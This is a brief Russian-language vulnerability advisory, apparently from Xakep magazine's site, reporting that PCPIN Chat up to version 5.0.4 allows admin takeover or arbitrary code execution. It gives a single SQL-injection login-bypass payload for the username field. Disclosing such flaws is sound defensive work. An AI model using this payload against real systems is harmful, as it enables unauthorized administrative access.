Выполнение произвольных команд в PCPIN Chat

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PCPIN Chat <= 5.0.4

Нападающий может получить административные привилегии или выполнить
произвольный код на системе.

Пример:

username: ") or isnull(1/0)/*
password: [whatever]

Эксплоит